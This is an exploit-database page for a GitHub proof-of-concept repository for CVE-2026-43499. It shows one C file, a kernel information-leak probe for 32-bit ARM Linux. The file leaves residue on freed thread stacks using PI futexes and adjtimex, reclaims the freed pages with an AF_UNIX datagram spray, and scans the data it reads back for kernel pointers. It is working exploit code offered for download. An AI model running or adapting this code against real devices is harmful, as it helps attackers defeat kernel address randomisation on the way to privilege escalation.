Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files22
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

device_probe/thread_stack_probe.c

C · 5,381 bytes
/* thread_stack_probe.c v13-G: fixed stack safety, 1MB worker stack.
 *
 * 1) batch pthread_create+join N workers with 1MB stack, PI residue
 * 2) spray AF_UNIX DGRAM to reclaim freed thread_union pages
 * 3) recv readback, scan kernel ptrs, cluster by 8K page
 *
 * Build: arm-linux-gnueabihf-gcc -static -O2 -fno-stack-protector -pthread \
 *           -Wl,-z,stacksize=16384 -o bin/thread_stack_probe thread_stack_probe.c
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PLEN 160
#define WORKER_STACK (128*1024)
#define BATCH 8
#define MAX_N 128
#define MAX_PAIRS 32
#define MAX_PTRS 4096

#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 6
#endif

static uint32_t *g_f_pi;
static char g_spray_buf[PLEN] __attribute__((aligned(4)));
static char g_recv_buf[PLEN] __attribute__((aligned(4)));
static uint32_t g_all_ptrs[MAX_PTRS];
static int g_pairs[MAX_PAIRS][2];

static void* worker(void*a){
    (void)a;
    syscall(SYS_futex, g_f_pi, FUTEX_LOCK_PI, 0, 0, 0, 0);
    /* adjtimex EPERM path still copy_to_user's back the FULL timex, so the
       user buffer must be >= sizeof(old_timex32) with slack (256, aligned). */
    unsigned char tx[256] __attribute__((aligned(8)));
    memset(tx,0,sizeof tx);
    *(int32_t*)(tx+0)=1;
    *(int32_t*)(tx+4)=0x12345678;
    syscall(124, tx);
    syscall(SYS_futex, g_f_pi, 7, 0, 0, 0, 0);
    return 0;
}

int main(int argc, char**argv){
    setvbuf(stdout,0,_IONBF,0);
    struct rlimit rl={65536,65536}; setrlimit(RLIMIT_NOFILE,&rl);
    int N = argc>1?atoi(argv[1]):64;
    int npairs = argc>2?atoi(argv[2]):24;
    if(N > MAX_N) N = MAX_N;
    if(npairs > MAX_PAIRS) npairs = MAX_PAIRS;
    printf("=== thread_stack_probe v13-G: N=%d npairs=%d ===\n", N, npairs);

    printf("\n=== Stage1: batched create+join, %d threads (%dK stack) ===\n", N, WORKER_STACK/1024);
    g_f_pi = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
    if(g_f_pi==MAP_FAILED){ perror("mmap f_pi"); return 1; }
    *g_f_pi = 0;

    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr, WORKER_STACK);
    int created_total = 0;
    for(int base=0; base<N; base+=BATCH){
        int b = N-base; if(b>BATCH) b=BATCH;
        pthread_t th[BATCH];
        for(int i=0;i<BATCH;i++) th[i]=0;
        int ok=0;
        for(int i=0;i<b;i++){
            int rc = pthread_create(&th[i], &attr, worker, NULL);
            if(rc!=0){ printf("pthread_create failed at %d rc=%d, stop\n", base+i, rc); break; }
            ok++;
        }
        for(int i=0;i<ok;i++) pthread_join(th[i], NULL);
        created_total += ok;
        if(ok<b) break;
    }
    pthread_attr_destroy(&attr);
    printf("Stage1 done: %d threads freed\n", created_total);
    if(created_total<=0){ printf("no thread freed, abort\n"); return 2; }
    usleep(200000);

    printf("\n=== Stage2: AF_UNIX DGRAM spray ===\n");
    long sprayed = 0;
    memset(g_spray_buf, 0x41, PLEN);
    for(int p=0;p<npairs;p++){
        if(socketpair(AF_UNIX, SOCK_DGRAM, 0, g_pairs[p])<0){
            g_pairs[p][0] = -1; continue;
        }
        struct iovec io = {g_spray_buf, PLEN};
        for(int msg=0; msg<256; msg++){
            struct msghdr mh; memset(&mh,0,sizeof mh);
            mh.msg_iov = &io; mh.msg_iovlen = 1;
            ssize_t s = sendmsg(g_pairs[p][0], &mh, MSG_DONTWAIT);
            if(s<0) break;
            sprayed++;
        }
    }
    printf("Stage2 sprayed=%ld\n", sprayed);
    usleep(100000);

    printf("\n=== Stage3: recv scan kernel ptrs ===\n");
    long total = 0;
    int nptrs = 0;
    for(int p=0;p<npairs;p++){
        if(g_pairs[p][0]<0) continue;
        for(;;){
            memset(g_recv_buf, 0, PLEN);
            struct iovec rio = {g_recv_buf, PLEN};
            struct msghdr rmh; memset(&rmh,0,sizeof rmh);
            rmh.msg_iov = &rio; rmh.msg_iovlen = 1;
            ssize_t s = recvmsg(g_pairs[p][1], &rmh, MSG_DONTWAIT);
            if(s<=0) break;
            total++;
            for(int off=0; off<PLEN-4; off+=4){
                uint32_t val;
                memcpy(&val, g_recv_buf+off, 4);
                if(val >= 0xC0000000u && val < 0xE0000000u){
                    if(nptrs < MAX_PTRS) g_all_ptrs[nptrs++] = val;
                }
            }
        }
        close(g_pairs[p][0]); close(g_pairs[p][1]);
    }

    for(int i=0;i<nptrs;i++){
        for(int j=i+1;j<nptrs;j++){
            if(g_all_ptrs[j] < g_all_ptrs[i]){
                uint32_t t = g_all_ptrs[i];
                g_all_ptrs[i] = g_all_ptrs[j];
                g_all_ptrs[j] = t;
            }
        }
    }
    printf("total_msgs=%ld kernel_ptr_hits=%d\n", total, nptrs);
    printf("page clusters (8K):\n");
    int i = 0;
    while(i < nptrs){
        uint32_t pg = g_all_ptrs[i] & ~0x1fffu;
        int cnt = 1;
        while(i+cnt < nptrs && (g_all_ptrs[i+cnt] & ~0x1fffu) == pg) cnt++;
        printf("  page=0x%08x  ptrs=%d  first=0x%08x\n", pg, cnt, g_all_ptrs[i]);
        i += cnt;
    }

    printf("\nTHREAD_STACK_PROBE_DONE\n");
    printf("RC=0\n");
    return 0;
}